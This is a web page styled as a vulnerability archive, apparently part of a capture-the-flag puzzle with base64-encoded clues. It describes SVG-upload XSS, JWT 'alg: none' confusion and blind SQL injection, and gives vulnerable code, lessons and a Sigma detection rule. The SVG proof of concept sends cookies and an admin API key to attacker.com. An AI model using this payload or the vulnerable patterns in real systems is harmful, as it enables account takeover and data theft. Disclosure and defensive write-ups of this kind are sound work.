/research

Digital Forensics Reports & Vulnerability Archive

Click on a case to expand the full analysis.

CVE: CVE-2024-1337 TARGET: NebulaCloud Platform STATUS: PATCHED DATE: 2024-11-15
Stored XSS to Account Takeover via SVG Upload
[ ANALYSIS ]

TL;DR

A stored Cross-Site Scripting vulnerability in NebulaCloud's profile picture upload feature allowed SVG file uploads without proper sanitization. By embedding malicious JavaScript inside an SVG image, an attacker could achieve full account takeover of any user who viewed their profile, including administrators.

Responsible Disclosure Timeline

Date Action Response
2024-10-01 Vulnerability discovered during black-box assessment --
2024-10-03 Initial report sent to security@nebulacloud.io Auto-reply received
2024-10-10 Follow-up #1 sent (7 days) No response
2024-10-17 Follow-up #2 sent (14 days) No response
2024-10-24 Contacted CERT/CC for mediation CASE-ID: CERT#2024-XXXX assigned
2024-11-01 NebulaCloud acknowledged the report Patch development started
2024-11-15 Patch deployed to production CVE-2024-1337 assigned

Technical Root Cause

The profile upload endpoint used the following validation logic:

// File: src/controllers/upload.js (vulnerable)
function validateUpload(file) {
  const allowedTypes = ['image/png', 'image/jpeg', 'image/svg+xml'];
  
  // Only checks MIME type - can be trivially spoofed
  if (!allowedTypes.includes(file.mimetype)) {
    return false;
  }
  
  // Missing: SVG content sanitization
  // Missing: DTD / external entity parsing disabled
  return true;
}

The critical flaw: SVG files were served directly to browsers with Content-Type: image/svg+xml, causing embedded scripts to execute in the victim's origin.

Proof of Concept

<!-- malicious-profile.svg -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Steal session cookie and exfiltrate
    fetch('https://attacker.com/steal?c=' + document.cookie);
    
    // Pivot to admin panel by fetching API key
    fetch('/api/v1/admin/settings')
      .then(r => r.json())
      .then(data => fetch('https://attacker.com/admin?key=' + data.apiKey));
  </script>
  <rect width="100" height="100" fill="blue"/>
</svg>

Note: The PoC was tested in a controlled lab environment. Do not attempt on production systems without authorization.

Lessons Learned

  • [+] Never trust MIME type validation alone. Always inspect file content structure.
  • [+] SVG files should be sanitized with DOMPurify or converted to raster formats.
  • [+] Serve user-uploaded images from a separate subdomain (cookieless origin).
  • [+] Set Content-Security-Policy: script-src to prevent inline script execution.

Detection Rule (Sigma)

title: SVG Upload with Embedded Script
detection:
  selection:
    - request.url|contains: '/upload'
    - request.body|contains: '<script'
    - request.headers.Content-Type: 'image/svg+xml'
  condition: selection
falsepositives:
  - Legitimate SVG uploads with embedded metadata scripts
level: high
[ Encrypted Transmission ]
VGhlIG5leHQgZmxhZyBpcyBoaWRkZW4gaW4gcGxhaW4gc2lnaHQ6IGZsYWd7cjNzMWFyY2hfMXNfNHRfaHVueF8wcl9wMHIwdXJzfQ==
CVE: CVE-2024-2185 TARGET: ApexAuth Framework STATUS: PATCHED DATE: 2024-09-22
JWT Algorithm Confusion Leads to Privilege Escalation
[ ANALYSIS ]

TL;DR

ApexAuth's JWT implementation accepted the alg: none algorithm and failed to properly verify RSA public keys, allowing attackers to forge administrative JWT tokens using only the publicly available JWKS endpoint.

Technical Root Cause

// Vulnerable JWT verification
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256', 'HS256', 'none']  // 'none' should NEVER be allowed
});

Lessons Learned

  • [+] Explicitly whitelist allowed algorithms. Never use wildcard or dynamic algorithm selection.
  • [+] Separate signing keys for different algorithms. An RSA public key should never be used as an HMAC secret.
CVE: CVE-2024-3091 TARGET: DataVault Enterprise STATUS: PENDING DATE: 2024-12-01
SQL Injection in Report Generator (Blind, Time-Based)
[ ANALYSIS ]

TL;DR

The custom report generator in DataVault Enterprise constructs dynamic SQL queries using unsanitized user input in the ORDER BY clause. Time-based blind SQL injection allows exfiltration of the entire database, including hashed credentials and PII.

Technical Root Cause

// Vulnerable query construction
const query = `SELECT * FROM reports 
               WHERE user_id = ${userId} 
               ORDER BY ${req.query.sortColumn} ${req.query.sortOrder}`;
               // ^ unsanitized user input in ORDER BY
[ Encrypted Transmission ]
QWxsIHJlcG9ydHMgYXJlIGluY29tcGxldGUgdW50aWwgeW91IGZpbmQgdGhlIG5leHQgY2x1ZS4=
[guest@voidlink ~/research]$ cd ..